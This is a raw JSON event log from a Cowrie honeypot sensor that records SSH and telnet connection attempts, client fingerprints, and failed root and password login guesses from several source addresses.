{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:05.607253Z","src_ip":"43.156.39.221","session":"d824aee3200a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:06.591927Z","src_ip":"43.156.39.221","session":"d824aee3200a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.36852741241455,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:07.040761Z","src_ip":"192.119.13.58","session":"ad6191655b7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:07.832558Z","src_ip":"43.156.39.221","session":"d824aee3200a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.295130014419556,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:19.064301Z","src_ip":"192.119.13.58","session":"61535606c13a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.04682731628418,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:33.572448Z","src_ip":"192.119.13.58","session":"742b0b91f3a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":51274,"dst_ip":"10.17.0.5","dst_port":22,"session":"00fda8a11f28","protocol":"ssh","message":"New connection: 102.88.137.145:51274 (10.17.0.5:22) [session: 00fda8a11f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:51.546772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:51.552543Z","src_ip":"102.88.137.145","session":"00fda8a11f28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:51.733033Z","src_ip":"102.88.137.145","session":"00fda8a11f28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1A2B3C4D","message":"login attempt [root/1A2B3C4D] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:52.483265Z","src_ip":"102.88.137.145","session":"00fda8a11f28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:26:53.672605Z","src_ip":"102.88.137.145","session":"00fda8a11f28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45220,"dst_ip":"10.17.0.5","dst_port":23,"session":"c096d30da631","protocol":"telnet","message":"New connection: 192.119.13.58:45220 (10.17.0.5:23) [session: c096d30da631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:06.651447Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":38548,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e0ca2c3b6de","protocol":"ssh","message":"New connection: 179.61.232.245:38548 (10.17.0.5:22) [session: 1e0ca2c3b6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.102467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.107650Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.136426Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:e0:e0:f3:8b:17:7e:b8:0c:a1:f4:ff:45:27:20:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCOaEqZqADYjhYk2D5hheC4+9inpO6OGuy6gTFyIvyadtqU1njlFR8mK5m4J/yLx875dpGL49tsRl+ixhfX6GiUjABRdHkArS6//24qOrKrXyw1m0mQ0MysYgsDTqJJy1A0odBigCI4Bcv2QFFNLlZQmkEFR9XVOgjxY0zUdf43JZs8ANsNgDZmBr3JbvEZQgBHl3zrzHSSUrveZq5h04ifCQ4WDqlrrxxWzqHnHgdBGd6LhhI5f42Z4UsYUoRb5LMutTYmUfwFE8ZIKpUYcHMnxVWsKJnw4e5bA5F8cwPStkH3iuBbbrtu98oV7xhT1MZR6d2Hw6HfcjHg3rRMIWX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:e0:e0:f3:8b:17:7e:b8:0c:a1:f4:ff:45:27:20:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.254444Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:e0:e0:f3:8b:17:7e:b8:0c:a1:f4:ff:45:27:20:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCOaEqZqADYjhYk2D5hheC4+9inpO6OGuy6gTFyIvyadtqU1njlFR8mK5m4J/yLx875dpGL49tsRl+ixhfX6GiUjABRdHkArS6//24qOrKrXyw1m0mQ0MysYgsDTqJJy1A0odBigCI4Bcv2QFFNLlZQmkEFR9XVOgjxY0zUdf43JZs8ANsNgDZmBr3JbvEZQgBHl3zrzHSSUrveZq5h04ifCQ4WDqlrrxxWzqHnHgdBGd6LhhI5f42Z4UsYUoRb5LMutTYmUfwFE8ZIKpUYcHMnxVWsKJnw4e5bA5F8cwPStkH3iuBbbrtu98oV7xhT1MZR6d2Hw6HfcjHg3rRMIWX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.259195Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:49:b5:0c:10:58:ef:c1:9b:82:df:37:ca:44:7c:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDvuFAvpoLy362YxWWRiRMa+YXo+ihX+j09JcVPewt4718S8rD8Wws0NsCWuhimj4pen3xglwTsywCAQPRtaXpyEaDusEl51bOL8nPbigmMsFkq1/uW9AB6joAlqLAekC6yeVX130NSapjCXhBPQfZjwS2hOBQH57RoXFXpVniBaj4cJ8FwnHfbiuKOIZl+5WplTWejCyr8n3XnGZD7VKYSYgtlJkKxmv1EfNVbw+dBWplNp71s9t+Bqk6zY/s3uhMKRjduTsIzvGhKNQ5nsN18iq+txlHLosuXwPzpjIb3yuJgpZcG3dV88rHFKIC+benqO6FwsUoEAzH+ilEDi29","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:49:b5:0c:10:58:ef:c1:9b:82:df:37:ca:44:7c:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.288672Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:49:b5:0c:10:58:ef:c1:9b:82:df:37:ca:44:7c:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDvuFAvpoLy362YxWWRiRMa+YXo+ihX+j09JcVPewt4718S8rD8Wws0NsCWuhimj4pen3xglwTsywCAQPRtaXpyEaDusEl51bOL8nPbigmMsFkq1/uW9AB6joAlqLAekC6yeVX130NSapjCXhBPQfZjwS2hOBQH57RoXFXpVniBaj4cJ8FwnHfbiuKOIZl+5WplTWejCyr8n3XnGZD7VKYSYgtlJkKxmv1EfNVbw+dBWplNp71s9t+Bqk6zY/s3uhMKRjduTsIzvGhKNQ5nsN18iq+txlHLosuXwPzpjIb3yuJgpZcG3dV88rHFKIC+benqO6FwsUoEAzH+ilEDi29","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.292674Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:b4:d9:4a:27:0f:70:5a:dd:79:ca:7a:3e:89:dd:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGRKLdcchZVCChWqytujzbJE/2w3Yj4XlGzSYK3QNydHxBZkqH49Fe98Y7iF14JorseezMyuE1PNO9+wxdxH4hNloOtRGjxi/cjf06kuNgbJoFPKy3tKOl4Ki1+4ZqKkxsfd7CUsefpxB7SuybO8P833/tOW1oe+wi54U73lCIVwdNytXSlQ25ifG3FKkG1yMKlgnLC63+KclOLFCo0UeFdg8FieY56UJPrBXmiRSpcfnIkL6gS48V6B9cAnUvwsrdv57uMN1Zme31OljRSitBA8NWShyEI5P4k/HH2ErXudNJj2nJIrCZy55oIFQz2V+bEwbTzN/sCQ9+PBVW0rzv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:b4:d9:4a:27:0f:70:5a:dd:79:ca:7a:3e:89:dd:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.323310Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:b4:d9:4a:27:0f:70:5a:dd:79:ca:7a:3e:89:dd:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGRKLdcchZVCChWqytujzbJE/2w3Yj4XlGzSYK3QNydHxBZkqH49Fe98Y7iF14JorseezMyuE1PNO9+wxdxH4hNloOtRGjxi/cjf06kuNgbJoFPKy3tKOl4Ki1+4ZqKkxsfd7CUsefpxB7SuybO8P833/tOW1oe+wi54U73lCIVwdNytXSlQ25ifG3FKkG1yMKlgnLC63+KclOLFCo0UeFdg8FieY56UJPrBXmiRSpcfnIkL6gS48V6B9cAnUvwsrdv57uMN1Zme31OljRSitBA8NWShyEI5P4k/HH2ErXudNJj2nJIrCZy55oIFQz2V+bEwbTzN/sCQ9+PBVW0rzv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.327546Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:36:4e:4b:71:58:21:5f:ac:4b:10:a4:73:8c:77:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2J3tg5qUzLTfXuLoDnHjjvdyriv8v0/GVMbp0m7/9h2Y7yrBFDxnuWf+Nvn0GhrOcBpAw2KvKpFsYQ8zCOE1k/o6rpvscOcT+ptqGEoMAZBZ9HKHcb9MfkM6VTsjz9XnmaLN9tq0A6nELGOCcyXdbRwh8nnjrumajg041D8l0noYcFYM51rDfEf0yln0sa0L7D43nxd2KkCtddBpIK+kxyPb1xhqPdfEtN878HvlkyfCCFK5BFydZoDlmVROOqTk/X9EXxnV5Wvcu3h8ZZFEHvXkyOXRuktHJk7XsjVEPistb3oTuvrQd8omCDk1i8L2f4F0l3cKGlUBH8ZWbfZnZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:36:4e:4b:71:58:21:5f:ac:4b:10:a4:73:8c:77:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.357021Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:36:4e:4b:71:58:21:5f:ac:4b:10:a4:73:8c:77:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2J3tg5qUzLTfXuLoDnHjjvdyriv8v0/GVMbp0m7/9h2Y7yrBFDxnuWf+Nvn0GhrOcBpAw2KvKpFsYQ8zCOE1k/o6rpvscOcT+ptqGEoMAZBZ9HKHcb9MfkM6VTsjz9XnmaLN9tq0A6nELGOCcyXdbRwh8nnjrumajg041D8l0noYcFYM51rDfEf0yln0sa0L7D43nxd2KkCtddBpIK+kxyPb1xhqPdfEtN878HvlkyfCCFK5BFydZoDlmVROOqTk/X9EXxnV5Wvcu3h8ZZFEHvXkyOXRuktHJk7XsjVEPistb3oTuvrQd8omCDk1i8L2f4F0l3cKGlUBH8ZWbfZnZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.361586Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:77:19:42:ef:97:aa:7f:a1:47:e3:d7:48:a0:c7:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSYkggRWFMrWdePWxXBAUtotNkjrOwawqkCz+bKHqmHBBfi68YF9Oi0iySywcn+GIQ1Ryo2VUBQq69cpYX2ENpACISaeQDxesHwv8t6pX7LUjs0HFbpDYqwoZvLU1RARqzkDCKuESbB9S7jjb1C9Od0OYe7vPhwLX3Sw4I3NMCB0eOaSESJGKcM0DXpT/uLd7dzBrU36oNI4P277tQ/IR3J3MZ4gBwy4kytRwaKTvX3iSllLyyI7URO4LURGkW8N8wnmyPXqL0rcM6+KTBSNCTjyHzF6w2CA2xkBS+YFyE9eLdc4j1E5xU1Uv7frldhHqpA1dXgWuPfYXmPfi617NJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:77:19:42:ef:97:aa:7f:a1:47:e3:d7:48:a0:c7:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.390488Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:77:19:42:ef:97:aa:7f:a1:47:e3:d7:48:a0:c7:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSYkggRWFMrWdePWxXBAUtotNkjrOwawqkCz+bKHqmHBBfi68YF9Oi0iySywcn+GIQ1Ryo2VUBQq69cpYX2ENpACISaeQDxesHwv8t6pX7LUjs0HFbpDYqwoZvLU1RARqzkDCKuESbB9S7jjb1C9Od0OYe7vPhwLX3Sw4I3NMCB0eOaSESJGKcM0DXpT/uLd7dzBrU36oNI4P277tQ/IR3J3MZ4gBwy4kytRwaKTvX3iSllLyyI7URO4LURGkW8N8wnmyPXqL0rcM6+KTBSNCTjyHzF6w2CA2xkBS+YFyE9eLdc4j1E5xU1Uv7frldhHqpA1dXgWuPfYXmPfi617NJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.395067Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:13.425117Z","src_ip":"179.61.232.245","session":"1e0ca2c3b6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44518,"dst_ip":"10.17.0.5","dst_port":23,"session":"93abc48e5925","protocol":"telnet","message":"New connection: 192.119.13.58:44518 (10.17.0.5:23) [session: 93abc48e5925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:29.315494Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36458,"dst_ip":"10.17.0.5","dst_port":23,"session":"83dcc5ebe472","protocol":"telnet","message":"New connection: 192.119.13.58:36458 (10.17.0.5:23) [session: 83dcc5ebe472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:34.687495Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45474,"dst_ip":"10.17.0.5","dst_port":23,"session":"4107a30f41fa","protocol":"telnet","message":"New connection: 192.119.13.58:45474 (10.17.0.5:23) [session: 4107a30f41fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:37.155941Z"}
{"eventid":"cowrie.session.closed","duration":33.05066728591919,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:39.702006Z","src_ip":"192.119.13.58","session":"c096d30da631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33316,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ec057eff4f","protocol":"telnet","message":"New connection: 192.119.13.58:33316 (10.17.0.5:23) [session: 90ec057eff4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:49.204812Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45668,"dst_ip":"10.17.0.5","dst_port":22,"session":"b635fe83d7ad","protocol":"ssh","message":"New connection: 103.27.238.114:45668 (10.17.0.5:22) [session: b635fe83d7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:54.608894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:54.619338Z","src_ip":"103.27.238.114","session":"b635fe83d7ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:54.875689Z","src_ip":"103.27.238.114","session":"b635fe83d7ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parol1","message":"login attempt [root/parol1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:55.645710Z","src_ip":"103.27.238.114","session":"b635fe83d7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:27:56.904682Z","src_ip":"103.27.238.114","session":"b635fe83d7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.15043807029724,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:04.465801Z","src_ip":"192.119.13.58","session":"93abc48e5925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58369,"dst_ip":"10.17.0.5","dst_port":22,"session":"806e389bff59","protocol":"ssh","message":"New connection: 152.42.212.128:58369 (10.17.0.5:22) [session: 806e389bff59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:07.540556Z"}
